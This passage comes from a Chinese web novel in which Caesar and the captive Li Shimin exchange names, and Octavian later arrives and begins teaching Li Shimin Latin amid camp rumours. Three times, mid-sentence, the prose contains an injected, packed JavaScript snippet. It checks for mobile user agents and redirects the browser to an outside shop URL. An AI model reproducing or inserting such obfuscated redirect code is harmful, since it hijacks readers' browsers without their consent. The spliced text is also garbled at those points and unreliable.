?这份在绝境中识出的相似性,比任何浪漫的共鸣都更为深刻,也更为危险。山雨欲来的闷热中,某种超越时空与立场的情感,正在无声滋长。 某个时刻,仿佛是情绪和氛围自然地达到了某个程度,凯撒在蜡板上写下一行拉丁文,然后指向自己。 ?李世民看不懂,但凯撒用铁笔慢慢描摹字母形状,并重复发音:“Gaius Julius Caesar。” 他先教李世民用拉丁语说全名,再拆解: ?尤利乌斯,这是他的氏族名,表明他属于“尤利乌斯”这个古老而显赫的氏族。 ?凯撒,这是他的家族分支名。 最后是盖乌斯,那是母亲呼唤他的名字,是完全属于他个人的本名。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224092|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?他用动作和表情让李世民理解——这是我的全部,公共的与私密的,都给你看。 这是极致的信任交付。在罗马,全名具有宗教与法律意义,凯撒此举无异于将一部分“身份权柄”交到对方手中。 ?李世民沉默片刻,接过蜡板,在凯撒名字的另一半空白处,也写下了自己的名字。 ?这对他来说同样是个需要特别慎重的行为,在唐朝,皇帝的名字是集政治符号、儒家伦理、天命观念与王朝合法性于一体的复杂体系,远不止于个人标识。 ?李字,代表他源自西魏-北周以来的“八柱国”之一的李虎家族,这个姓氏是顶级门阀的徽章,是其建立王朝的政治与军事基础。唐朝开国之初,李渊便尊奉老子李耳为祖先,又为“李”姓披上一层宗教神圣性。 ?皇帝的本名在登基后成为“御讳”,任何人都不能再直呼他的名字。这些名字的用字通常蕴含着治国理念、道德期许或盛大愿景,在等级森严的封建社会,也不是普通人可以随意使用的,常常要所有人避讳。 ?他知道对方完全无法理解,于是画了两幅连续的简笔画: 1. 一幅山河图(代表“世界”)。 2. 一群欢笑的小人在田间耕作(代表“人民”)。 ?画完后,他指向自己,用汉语清晰地说出:“世——民——” ?这就是他名字的意义:恩泽八荒、威加四海。 ?凯撒看懂了。这个年轻人将自己的名字解释为“世界和人民”。这不是一个贵族的名字,这是一个使命。凯撒一生追求“荣耀”与“权力”,而眼前人追求的是“责任”与“太平”。这种理想主义的光芒,对身处政治泥沼的凯撒产生了致命的吸引。 凯撒不由自主地伸出手,想要触碰眼前这个人,这个动作超越了他平日的克制,是灵魂在无意识间的靠近。 ?就在这时,帐外突然毫无预兆地传来惨叫声,打断了两人的交流。 ?紧接着是兵器碰撞的锐响、战马受惊的嘶鸣、罗马士兵用拉丁语发出的急促指令和怒吼。 ?是骚乱! ?李世民瞬间进入戒备状态,眼神锐利如剑,身体微微前倾——这是统帅的本能。 凯撒却异常平静。他不仅没有离开,反而向前半步,用身体微妙地挡在李世民与帐门之间(一个保护性姿态)。 ?他抬手向下压,摇头,示意“无需担心,一切在控制中”。 在危机的本能反应中,凯撒选择了“保护他”而非立即“回归统帅身份”。李世民捕捉到了这个细节——这个老兵在混乱中优先考虑的是自己的安危。 ?帐外的混乱在继续。有惨叫声传来,有更多士兵奔跑集结的脚步声,火把的光影在帐帘上疯狂晃动。但帐内这一方天地,却仿佛被无形的屏障隔绝。 时间被拉长,又被压缩。 不知过了多久,外面的骚动渐渐平息。只剩下零星的呵斥声,和伤者压抑的呻吟。 凯撒侧耳听了听外面的动静,确认威胁解除,这才不动声色地移动了站立的位置。 ?闷雷滚过,第一滴雨重重砸在帐顶。 ?凯撒知道必须离开了。雷雨会掩盖踪迹,但也会让巡逻的士兵更加警惕。发生了这样的大事,现在一定很多人在寻找他,他必须回到属于“伟大统帅凯撒”的位置上。 他最后深深看了李世民一眼,是关心,也是道别。 ?雨水敲打帐顶的轰鸣声中,他向前倾身,用生硬的、却异常清晰的发音,郑重地唤出那个名字: “世民。” 两个字,被雷声包裹,却如重锤敲在李世民的心上。那是第一个,用正确语调呼唤他名字的异族人。 凯撒没有再停留。他披上斗篷,兜帽拉低,转身没入帐外瓢泼的雨幕。 李世民独立帐中,胸中翻涌的情感,比帐外的雷雨更加汹涌。那是一种复杂的……连他自己都无法言明的、陌生的悸动。 8. 第八章、屋大维来到军营 第八章、屋大维来到军营 晨光刺破阿莱西亚山谷的浓雾时,昨夜骚乱的痕迹已被系统性地抹去。 凯撒站在主营帐前,听取安东尼的汇报。他的站姿依旧笔挺,但眼底沉淀着连冷水也无法洗去的倦色。 “处决了十七人,都是埃杜维部落的战俘。”安东尼的声音压得很低,“他们趁雨夜试图抢夺武器,被第三大队的哨兵发现。” “起因?” “一个百夫长醉酒后,当众侮辱了其中一人的妻子——那个女奴前天刚被卖到随军商队。” 凯撒的食指在佩剑柄上轻轻敲了一下。这是他不悦时的习惯动作。“那个百夫长呢?” “鞭刑五十,降为普通士兵,调往辎重队。按军规,他该处死。但现在是战后,士兵们情绪需要安抚……” 安东尼总结道,目光在凯撒略显疲惫但依然锐利的脸上停留了一瞬,“另外……有巡逻队报告,后半夜雨最大的时候,似乎看到有人影接近东侧的‘特殊监区’,但雨太大,没看清,也没发现异常。” 凯撒正在签署处罚令的手没有丝毫停顿,笔尖在莎草纸上划出流畅有力的字母。“加强夜间巡逻,尤其是外围和重要区域。战利品分配方案今天必须明确公示,有异议者,让他们的百夫长来找我。” ?他语气平淡,仿佛昨夜那个在雨夜中潜入另一座帐篷的人与他无关,“至于东侧……既然没发现异常,就不用特别报告了。可能是士兵眼花。” 安东尼点头,又犹豫道:“传言……骚动时您不在帅帐。” 凯撒侧过头,灰蓝色的眼睛看向他。 只是一眼。安东尼便闭上了嘴——那是无需言语的警告。 ?安东尼不再多言,行礼退下。他知道界限在哪里。 --- ?临近正午,军营入口处传来一阵骚动。 两匹风尘仆仆的驿马被哨兵拦下,骑手掀开斗篷兜帽,露出一张过分年轻、甚至有些苍白的脸。他看起来不过十三四岁,浅金色的头发紧贴额角,灰色的眼睛大而明亮,带着长途跋涉后的疲惫与兴奋。 “盖乌斯·屋大维,”少年用清亮的嗓音报上姓名,从怀中取出一封盖有朱印的信函,“奉我母亲阿提娅之命,前来探望舅公。” 他身旁另一个年纪相仿的少年利落地翻身下马。此人身材更为结实,面容坚毅,一双眼睛机警地扫视着周围环境。这是屋大维的挚友马尔库斯·阿格里帕。 哨兵核对印信后立刻行礼放行。消息像野火般传开——凯撒的外孙、他姐姐茱莉亚的外孙,那个体弱多病却深受凯撒器重的少年,竟然穿越半个高卢来到了前线军营。 当屋大维和阿格里帕被引至主帅大帐前时,凯撒已经站在帐外等候。 这位以冷静著称的统帅,此刻脸上罕见地露出了真切的笑容。他没有等少年行礼,便大步上前,一把将屋大维拥入怀中。 “我的孩子,”凯撒的声音有些发哽,“你怎么敢独自前来?这太危险了。” 屋大维的脸埋在凯撒肩甲上,闷声道:“阿格里帕一直陪着我。而且,我想在您回罗马前,亲眼看看您征服的土地。” 凯撒松开他,双手按在他肩上仔细端详。少年长高了些,但依旧瘦削,长途旅行让他眼下泛着青黑。“你母亲会杀了我的,如果她知道我让你来这种地方。” “母亲说,是您写信说想见我。”屋大维从怀中掏出另一封略旧的信,那是三个月前凯撒从阿瓦利肯寄出的。 凯撒微微一怔。他确实写过那封信——在某个深夜,写完给元老院的捷报后,突然涌起的、对家族血脉的牵挂。但他没料到,这个体弱的外孙竟真的敢来。 “这位一定是阿格里帕。”凯撒转向另一个少年,目光中带着赞赏,“我听雷必达提过你,说你年纪轻轻就有将领之才。这趟路上,是你保护了屋大维?” 阿格里帕挺直脊背,行了个标准的军礼:“这是我的荣幸,统帅。路上很顺利,我们在纳博讷遇上了第十二军团的补给队,就一起北上了。” “好,很好。”凯撒拍拍两人的肩膀,“进来吧,让我听听罗马的消息。” 帐内,凯撒命人端来热葡萄酒和面包。屋大维确实带来了重要情报:元老院中,加图和小加图对他的攻击日益尖锐;庞培虽然表面维持同盟,但已开始暗中拉拢凯撒曾经的盟友;西塞罗看似中立,实则挖苦;而克拉苏…… ?屋大维的声音不自觉地压低了,带着一丝不确定的惶惑:“我们离开罗马前,港口刚有东方的商船抵达。传言说……他在帕提亚遭遇了惨败,甚至有消息说他本人已经阵亡。元老院里还没人敢公开谈论,但私下里已经全乱了。” ?凯撒静静听着,手指无意识地摩挲着酒杯边缘。这些都不出他所料,但从屋大维口中听到,仍让他心头微沉。罗马的政治棋盘正在重新布局,而他还困在高卢处理战后事宜。 ?他让卫兵送来食物和饮料,三人简单用餐,屋大维叽叽喳喳地问着关于战役的各种细节,阿格里帕则更沉默地观察和倾听。 叙旧过后,凯撒沉吟片刻,看似随意地开口:“屋大维,你来得正好。有件事,或许需要你帮个忙。” ?屋大维立刻坐直身体:“您请吩咐,舅舅!” “我们俘获了一个……非常特殊的东方贵族。”凯撒的语气变得公事公办,带着政治家权衡利弊的冷静,“他身份成谜,可能来自极遥远的赛里斯。他的衣着、佩剑,都显示出惊人的文明和财富。目前他语言不通,被暂时‘保护性’看管。” 他看向屋大维:“我记得你一直在研习各种语言和知识,对陌生的文明充满兴趣。在他能与我们正式沟通之前,我需要有人去教他一些基础的拉丁语,同时,更重要的,是观察他,了解他,判断他的真实身份、价值以及可能的意图。但我太忙了,抽不出时间。” ?屋大维的眼睛更亮了,这任务听起来既神秘又重要,完全符合他对知识和冒险的渴望。“我愿意,舅舅!这太有意思了!一个真正的、来自传说之地赛里斯的贵族!” “不仅仅是有意思,屋大维。”凯撒的语气加重了一些,灰蓝色的眼睛深深地看着他,“这是为了罗马的利益。我需要可靠的人去做这件事,而你,我信任你的观察力和判断力。记住,你是以‘老师’和‘观察者’的身份去的,保持距离,保持警惕,但也要让他感受到‘善意’,这有助于他开口。” “我明白了,舅舅。”屋大维郑重地点头,少年的脸上浮现出与年龄不符的认真,“我会为了罗马去做。” 凯撒欣慰地笑了笑,又转向阿格里帕:“阿格里帕,你陪着屋大维,保护他的安全,也协助他。” ?两个少年起身行礼,准备离开。 就在屋大维的手碰到帐帘时,凯撒忽然开口:“屋大维。” 少年回头。 “他可能……”凯撒罕见地犹豫了,“他可能不太容易接近。要有耐心。” 屋大维点点头,灰色眼睛里闪过好奇的光芒。 --- ?午后,屋大维和阿格里帕在营区间穿行,好奇地观察着一切:锻造武器的铁匠铺、修补盔甲的工匠、清点战利品的书记官、还有那些被枷锁串在一起、眼神空洞的高卢俘虏。 在一处水井旁休息时,他们听到了窃窃私语。 两个士兵靠在辎重车边,一边擦拭短剑一边低声交谈。声音不大,但顺风飘了过来。 “……听说了吗?统帅营区那边,有个特别的‘客人’。” “穿裙子的那个?早传开了。据说头发黑得像午夜。” “何止。我手下有个小子在亲卫队轮值,他说昨夜骚乱时,统帅根本不在自己帐里——有人在那个东方人的帐篷附近看见统帅的斗篷了。” “啧,真的假的?凯撒他……” “小声点!不过说实话,那也不稀奇。亚历山大也有赫费斯提翁,希腊人那一套……只是没想到凯撒也好这口。” “卡勒努斯亲自打点他的起居,今早还听说,统帅要把自己外甥派去教他拉丁语呢。” “屋大维?那个瘦小子?哈,这是要培养成……” 话音未落,其中一人瞥见了站在不远处的屋大维和阿格里帕,脸色一变,猛地用胳膊肘撞了同伴一下。两人立刻噤声,假装专心擦剑。 屋大维的脸变得煞白。他听清了每一个字。 阿格里帕的脸色也沉了下来,他一把拉住屋大维的胳膊,低声道:“别听他们胡说。军营里流言蜚语多的是。” 但屋大维的手在发抖。那些词汇——穿裙子的男人、男宠、帐篷、赫费斯提翁——像毒刺一样扎进他的耳朵。他想起舅舅交代任务时那过分郑重的态度,那不必要的解释要他“有耐心”…… “我们回去。”屋大维的声音干涩。 “屋大维——” “回去!” 他们转身离开,脚步匆忙。身后那两个士兵交换了一个意味深长的眼神。 --- 同一时间,军营的另一端,安东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224093|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尼的怒火正达到顶点。 他像一头被激怒的公牛,冲进财务官的帐篷,厚重的帐帘被他扯得哗啦作响。卡勒努斯正坐在桌前核对账目,闻声抬头,还没来得及开口,就被安东尼一把揪住了胸前的衣襟。 “你干的好事,卡勒努斯!”安东尼的声音从牙缝里挤出来,喷出的热气带着酒味——他中午显然没少喝。 ?“那个东方妖精,是你找来的对不对?为了讨凯撒欢心,你从哪个阴沟里扒拉出这么个玩意儿?” 卡勒努斯被他提得双脚几乎离地,脸涨得通红,但眼神依然冷静:“放开我,安东尼。我不知道你在说什么。” “不知道?”安东尼把他狠狠掼在桌子上,莎草纸和墨水罐滚落一地。“整个军营都在传!凯撒把一个穿裙子的男人养在帐边,昨夜骚乱时还跑去私会——你告诉我,这对统帅的威信有什么好处?嗯?” 他俯身,逼近卡勒努斯的脸:“那些高卢人、那些刚被我们打趴下的蛮族,会怎么看?他们会说:看啊,罗马的统帅是个会被美色迷惑的软蛋!我们的士兵会怎么想?他们会怀疑自己效忠的是不是一个理智的领袖!” 卡勒努斯喘着气,试图推开安东尼如山的身躯:“统帅自有考量……那个人有战略价值……” “战略价值?”安东尼嗤笑,“什么样的战略价值需要统帅亲自半夜去‘探望’?需要你像伺候公主一样给他送东西?卡勒努斯,我了解你。你精于算计,擅长投其所好。说,你从哪儿弄来的人?埃及?叙利亚?还是更远的、专门训练这种‘礼物’的地方?” 他的声音越来越大,帐篷外已经聚集了一些士兵,但没人敢进来。 卡勒努斯终于找到了发力点,猛地推开安东尼,踉跄着后退几步,整理自己被扯乱的衣袍。他的声音冷了下来:“马库斯·安东尼,注意你的言辞。那个人是战利品,是阿莱西亚陷落后发现的特殊俘虏。他的身份和来历,统帅正在调查。至于统帅的私人行动,不是你我可以置喙的。” “私人行动?”安东尼环视帐内,目光落在角落里一个精致的铜制水壶上——那明显不是军用品。“私人行动已经变成公开的笑话了!消息传回罗马,会怎么在元老院渲染?‘凯撒在高卢被一个东方巫童迷了心窍’——你想听到这样的议论吗?” 他逼近一步,压低声音,但语气更加危险:“卡勒努斯,我警告你。如果这个‘妖精’影响了凯撒的判断,损害了我们的政治前途……我会亲手拧断他那纤细的脖子。而你,作为献上这份‘礼物’的人,最好祈祷事情不会发展到那一步。” 卡勒努斯的心脏狂跳。他知道安东尼不是虚张声势。这个勇猛但粗暴的将领,对凯撒有着近乎狂热的忠诚,但也正因如此,他无法容忍任何可能玷污凯撒声誉的事物。 “统帅知道自己在做什么。”卡勒努斯最终只能重复这句话,“那个人……很特别。不仅仅是外表。他有一种……气质。统帅可能是想通过他了解东方。” “那就该把他关起来审问,而不是当客人供着!”安东尼啐了一口,转身朝帐外走去。在掀开帐帘前,他回头,投来最后一道冰冷的视线。 “管好你的‘礼物’,财务官。如果流言继续扩散,我会用我的方式解决。” 帐帘落下,安东尼沉重的脚步声渐行渐远。 卡勒努斯缓缓滑坐到椅子上,手指按着突突直跳的太阳穴。帐篷里一片狼藉,但他无心理会。 他想起那个东方年轻人在烛光下写字的侧影,想起他眼中那种与俘虏身份格格不入的沉静与傲气。 ?卡勒努斯是个现实主义者,他最初的确是想用这份“特殊战利品”讨好凯撒,但现在,事情正在滑向一个他无法控制的方向。 凯撒的态度过于投入了。 而军营,从来不是能保守秘密的地方。 他必须做点什么。也许该建议凯撒,加快审问进程,或者……把那个人转移到更隐蔽的地方。 就在这时,帐外传来卫兵的报告声:“财务官大人,屋大维少爷求见。” 卡勒努斯深吸一口气,努力让表情恢复平静。“让他进来。” 瘦削的少年掀帘而入,脸色依然苍白,但眼神坚定。他开门见山:“卡勒努斯先生,关于那个我要教的东方人……能告诉我更多关于他的事吗?” 卡勒努斯看着眼前这双与凯撒神似的灰蓝色眼睛,心中升起一股不祥的预感。 流言已经传到了最不该听到的人耳中。 而风暴,才刚刚开始酝酿。 9. 第九章、拉丁语老师 第九章、拉丁语老师 李世民感觉到空气在收紧。 晨起时,他想像往常一样走出帐篷,到营区边缘的空地活动筋骨、观察环境。但今天,守在门口的卫兵——不是之前那两个对他保持距离的罗马人——伸手拦住了他。 那是个新面孔,下巴紧收,眼神里没有前几日士兵那种混杂着好奇与轻蔑的复杂情绪,只有公事公办的冰冷。他用短矛的横杆挡在帐帘前,说了一句拉丁语,语气不容置疑。 李世民听不懂具体词汇,但动作的拒绝意味再明显不过。他皱眉,指向帐外,试图用肢体语言表达自己只是想在附近走走。 卫兵摇头,重复了同一句话,这次加重了语气,甚至微微前倾身体,做出威慑的姿态。他另一只手按在了腰间的剑柄上。 这不是商量,是禁令。 不仅如此,李世民还发现岗哨增加了。原本只在二十步外有一个固定哨位,现在帐篷两侧各增加了一名巡逻卫兵,他们来回走动的路线刚好封住了所有可能离开的方向。 囚禁升级了。 中午,送来的食物也有了明显变化。前几日虽谈不上精致,但至少是烤禽肉、白“馒头”,蜂蜜水,无花果或者苹果之类,而且每次都会有一杯稀释的葡萄酒。今天只有一碗稀薄的大麦粥,两块硬得能磕掉牙的黑面包,连盛水的陶罐都换成了更小号的。 这是在暗示他的利用价值降低了,甚至随时可能会被解决的意思吗? 更令李世民在意的是,他注意到军营中的窃窃私语。 当他靠近帐帘时,能听到外面士兵压低声音的交谈片段。那些拉丁语的音节快速滑过,他捕捉不到含义,但语调里某种东西让他背脊发凉——不是敌意,不是好奇,而是一种混合了窥探、讥诮和某种……下流暗示的腔调。他听到几次重复出现的音节,似乎指向他所在的帐篷。有笑声,短促而刺耳。 他甚至看到过路的士兵故意放慢脚步,朝他的帐篷投来一瞥,眼神在他身上停留的时间过长,嘴角挂着令人不快的弧度。当他回视时,对方并不避开,反而挑起眉毛,露出一个意味深长的、近乎挑衅的笑。 生存的空间正在被无形的墙壁压缩。那些墙壁由目光、低语和突然严格的规矩砌成。 李世民坐在帐篷中央的矮凳上,手指无意识地摩挲着桌沿。他想起昨夜盖乌斯的造访,想起帐外那场短暂的骚乱,想起盖乌斯离去前在雷雨中唤他名字的瞬间……当时那声音里饱含的情感,如今想来竟像是一场幻觉。 ?这一切变化,莫非正是因为有人发现了那次会面?囚禁升级只是对他的警告,那盖乌斯呢,他会受到怎样的军法惩处? 李世民的心沉了下去。在这个全然陌生的世界,唯一向他释放过善意的人,也许正因为这份善意而陷入麻烦。而他,被困在这顶帐篷里,连确认的能力都没有。 他闭上眼,强迫自己冷静。愤怒和焦虑于事无补。他需要信息,需要理解周围发生了什么。而这一切的前提,是打破语言的屏障。 --- 午后,阳光斜照进帐篷,在地面投出狭长的光影。 李世民正用那支铁笔在蜡板上反复练习凯撒教给他的几个简单拉丁词汇——“水”、“食物”、“是”、“不”。笔尖划过蜂蜡的沙沙声是帐内唯一的响动。 就在这时,帐外传来对话声。不是士兵们粗哑的嗓音,而是一个更年轻、更清亮的声音,带着某种刻意的礼貌和不易察觉的紧绷。 帐帘被掀开了。 走进来的是一个少年。 他看起来不过十三四岁,身材瘦削,浅金色的头发在脑后松松束起,露出宽阔的额头和一对过于明亮的灰色眼睛。他的面容尚存稚气,但下巴的线条已显露出坚硬的雏形。 ?他穿着质地精良的白色丘尼卡,外罩一件深蓝色的短斗篷,用银别针在右肩固定——这装束既不像士兵,也不像随军商人,更像来自某个有教养的家庭。 少年身后跟着另一个年纪相仿的同伴,体格更健壮,橄榄肤色,眼神机警如猎鹰。他站在门口,手看似随意地搭在腰间的短剑柄上,姿态却是标准的警戒。 金发少年——屋大维——走进帐篷,目光迅速扫过内部陈设,最后落在李世民身上。 他的第一反应是难以掩饰的惊愕。 尽管听过流言,尽管卡勒努斯简单描述过,但亲眼见到这个人,依然超出了屋大维的想象。 帐篷里光线昏暗,但那个坐在桌前的东方人仿佛自带光晕。 ?他穿着一件简单的、显然是罗马军队提供的灰色亚麻丘尼卡,过于宽大,不合身,却奇异地未能掩盖其身形本身的挺拔。黑色的长发斜系在一侧肩上,衬得肤色在昏暗中愈发显得苍白——那是一种屋大维从未在罗马人或高卢人身上见过的、细腻如东方瓷器的质感。 最令人无法移开视线的是他的脸。屋大维曾随母亲在罗马的剧场看过来自希腊的演员,也曾见过元老院里那些以美貌闻名的年轻贵族,但没有一张脸像眼前这样……矛盾而具有冲击力。 他的眉形锐利如剑锋,斜飞入鬓,本该显得英气逼人,甚至凌厉。但此刻微微蹙起,带着显而易见的疲惫和隐忍的怒意,反而削弱了那份攻击性,透出一种脆弱的倔强。 ?他的眼睛——屋大维从未见过这样形状的眼睛,眼尾略略上挑,瞳孔的颜色在阴影中深如墨潭,此刻正冷冷地、毫不回避地回视着他, ?他似乎对少年过于直接的打量感到些许被冒犯,眼睫几不可察地颤动了一下,但并未移开视线。 而他的唇……薄,线条清晰,此刻紧紧抿着,嘴角甚至带着一丝若有若无的、近乎讥诮的弧度。那是屋大维在元老院那些最骄傲的古老家族继承人脸上才见过的神态——一种根植于血脉和地位的高傲,即使身处囹圄也无法磨灭。 还有那胡须。这在屋大维看来,无疑是“蛮族”的象征。可奇怪的是,这胡须并未让他显得粗野,反而增添了一种……像希腊雕像中那些哲学家的形象,一种成熟的、深思的、甚至带有悲剧色彩的威严。 屋大维的心脏不合时宜地猛跳了一下。他立刻为自己的反应感到羞耻和愤怒。这就是那个迷惑了舅舅的“东方妖精”?他强迫自己硬起心肠,想起军营里的流言,想起安东尼的暴怒,想起自己肩负的“观察”使命。 他深吸一口气,用预先练习过的、尽可能平稳的拉丁语开口,语速很慢,确保每个音节清晰: “你……好。我……叫……盖乌斯·屋大维。我……奉命……来……教你……拉丁语。” 他一字一顿地说完,目光紧盯着对方的反应。 李世民静静地看着这个突然闯入的少年。他听不懂对方在说什么,但从少年紧绷的站姿、刻意放缓的语速,以及那种努力想表现得成熟持重却难掩紧张的神态,他大致猜到了对方的来意。 “监视”?还是“看守”? 少年衣着的精良与气质,明显与军营环境格格不入。他身后那个同伴警惕的姿态,也说明他们并非普通访客。是这只军队的高层派来的吗?还是……其他势力? 李世民没有立刻回应。他放下手中的铁笔,身体微微后靠,这是一个既放松又保留防御性的姿态。他的目光从屋大维脸上移开,扫过他肩头的银别针、质地优良的斗篷,再回到那双过分明亮的灰色眼睛上。 这双眼睛……让他隐约觉得有些熟悉。在哪里见过? 屋大维被他沉默的审视看得有些发毛。这和他预想的任何反应都不一样——没有感激涕零,没有惶恐不安,没有急于讨好,甚至没有好奇。只有一片深沉的、带着评估意味的寂静。 少年抿了抿唇,压下心头的不安和一丝被忽视的恼火。他向前走了两步,来到桌边,指了指李世民面前的蜡板,又指了指自己,重复道:“我……教……你。拉丁语。” 这次,李世民点了点头。他明白了。 他拿起蜡板,用铁笔在上面画了一个简单的示意图:一个小人(代表屋大维),一个小人(代表自己),中间画了一个向上的箭头,旁边画了几本书的简笔(代表知识传递)。然后他指向屋大维,做了一个询问的表情。 ——你是来教我的? 屋大维看懂了,连忙点头:“是的!教!拉丁语!” 他指着自己,“屋大维。” 然后,他指向李世民,做了一个清晰而期待的手势,摊开手掌向上,眉毛微挑——这是询问对方名字的通用肢体语言。 李世民看着少年的手势。这是在问他的名字? 他的眼神几不可察地沉了沉。他想到昨夜和一个人交换了名字……那是信任的交付,是绝境中两个灵魂的彼此确认。名字在那一刻不仅仅是一个称谓,而是他递给对方的、带有某种契约意味的信物。 而现在,这个陌生的、眼神里藏着复杂情绪的傲慢少年,也在问他的名字。 李世民沉默了片刻。然后,他缓缓摇了摇头,拿起铁笔,在蜡板上画了一个简单的符号:一个圆圈,里面点了一个点。然后他指向这个符号,又指向自己。 ——你可以用这个符号来指代我。 这是一个中性的、不带任何个人色彩的指代,就像地图上标记一个未知地点的符号。 屋大维愣住了。他盯着那个简单的圆圈加点,又抬头看向李世民平静无波的脸。少年灰色的眼睛里闪过一丝错愕,随即涌上的是被冒犯的恼怒。 这是什么意思?连名字都不屑于告诉?还是说……他的名字是如此重要,以至于不能轻易示人? 屋大维的脸颊微微发热。他想起了卡勒努斯向他描述的话:“他的价值,可能超过整个高卢战役缴获黄金的总和。”难道真的重要到这种程度? “你……没有名字?” 屋大维忍不住用拉丁语问道,尽管知道对方听不懂。他的语气里带上了一丝他自己都未察觉的尖锐。 李世民听出了少年语气中的变化。但他只是平静地回视着对方,再次摇了摇头。 ?他用手指点了点蜡板上的符号,态度明确——这就是你用来称呼我的方式。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224094|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋大维深吸一口气,努力压下心头的火气。舅舅让他来教这个人拉丁语,观察他,了解他。如果连名字都问不出来,还谈什么了解? “好吧。” 屋大维用拉丁语冷冷地说,指了指那个符号,“那就叫你这个。” 他走到桌边,拿起铁笔,在蜡板上划出一块区域,写下一个大大的拉丁字母 “A”,然后指着它,清晰地说道:“A。” 接着,他写下 “Aqua”(水),在旁边画了一滴水滴的简笔画。 李世民看着少年的动作,眼神专注。他模仿着屋大维的发音:“A……qua?” 声音清朗,带着一种奇异的韵律感,虽然发音生涩,但异常准确。 屋大维有些惊讶。他点点头,又写下 “Panis”(面包),画了一块面包。 “Pa……nis。” “对。” 屋大维继续,写下 “Homo”(人),画了一个小人。 “Ho……mo。” 教学就这样开始了,但气氛已经与最初不同。屋大维依然是个有耐心的老师,但他的动作和语气里少了一些初时的试探性好奇,多了一份公事公办的冷淡。他教得更快,解释得更简略,仿佛只想尽快完成这项令人不快的任务。 李世民则似乎并未受到影响。他依旧专注地学习,敏锐地捕捉每一个发音细节,并尝试理解词汇之间的联系。 ?当屋大维写下“Dominus”(主人、统治者)这个词时,李世民的目光在那个词上停留了片刻。他没有立刻模仿发音,而是若有所思地看着屋大维。 屋大维被他的眼神看得有些不自在。“Dominus。” 他重复了一遍,没有解释更多。他不想在这个词上深入,那会让他想起一些不舒服的联想。 阿格里帕一直沉默地站在门口,像一尊雕塑。但他的目光始终没有离开李世民。他观察着这个东方人拒绝透露名字时的平静与坚决,那不是出于恐惧或羞涩,而是一种基于某种原则的抉择。这个人有极强的边界感。 更让阿格里帕警惕的是,这个东方人偶尔会停下学习,目光飘向帐外,眼神里闪过一丝锐利的光。那不是走神,而是在倾听、在观察。他在利用每一次帐外脚步声变化、每一次远处传来的号角声,收集信息。 “这个人不仅危险,而且极度骄傲。” 阿格里帕在心中默默修正了判断。拒绝透露名字,意味着他不认为屋大维——或者说,派屋大维来的人——有资格知道他的真实身份。这种傲慢,在一个俘虏身上显得如此不合时宜,却又如此……刺眼地合理。 教学持续了大约一个罗马时。屋大维已经教了二十几个基础词汇。他的额头渗出了细密的汗珠,教学比他想象的更耗神,但这次,成就感被一种挥之不去的挫败感所取代。 ?他感觉自己像个被雇来教书的奴隶,而学生则是个高高在上的雇主。 “好了,今天……就到这里。” 屋大维用拉丁语说道,同时做了一个“停止”的手势。他感到口干舌燥,身心俱疲。 李世民看懂了手势。他点点头,没有说“谢谢”——那个词他觉得还不适合用在这个明显带着情绪离开的少年身上。他只是微微颔首,表示知晓。 屋大维看着他平静无波的脸,心头那股无名火又烧了起来。这个人甚至不屑于表达一点基本的礼貌吗? “我……明天……再来。” 屋大维几乎是咬着牙说完这句话,指了指太阳,做了一个从升起到落下的手势,然后又指了指自己。 李世民理解了。他再次点头,没有多余的反应。 屋大维转身就走,步伐比来时急促得多。阿格里帕为他掀开帘子,两人迅速离开了帐篷。 走出十几步外,屋大维才停下脚步,胸口微微起伏。 “他连名字都不肯告诉我!” 少年压低声音,语气里充满了难以置信和被羞辱的愤怒,“他只让我用一个圆圈加点来叫他!他以为自己是谁?国王吗?” 阿格里帕沉默了一下,缓缓道:“或许……他真的是。” 屋大维猛地转头看向他。 “我观察了他一个小时,屋大维。” 阿格里帕的声音很冷静,“他的坐姿,他看人的眼神,他学习时的专注和那种……掌控感。还有他拒绝透露名字时的姿态。那不是普通贵族会有的反应。那是一个习惯于发号施令、习惯于自己的话语就是律法的人,才会有的姿态。” 屋大维愣住了。他回想起那个东方人平静而坚决的摇头,回想起那双深潭般的眼睛里不容置疑的神色。 “舅舅知道他不肯说名字吗?” 屋大维喃喃道。 “凯撒将军一定知道些什么。” 阿格里帕说,“否则不会如此重视他。屋大维,这个人可能比我们想象的……麻烦得多。流言或许只是表象,底下藏着的,可能是我们完全无法预料的东西。” 屋大维回头,又望了一眼那顶孤零零的帐篷。帐帘紧闭,像一个沉默而高傲的谜团。那个简单的圆圈加点符号,此刻在他心中,竟显得无比沉重。 ?? 10. 第十章、政治与真心 第十章、政治与真心 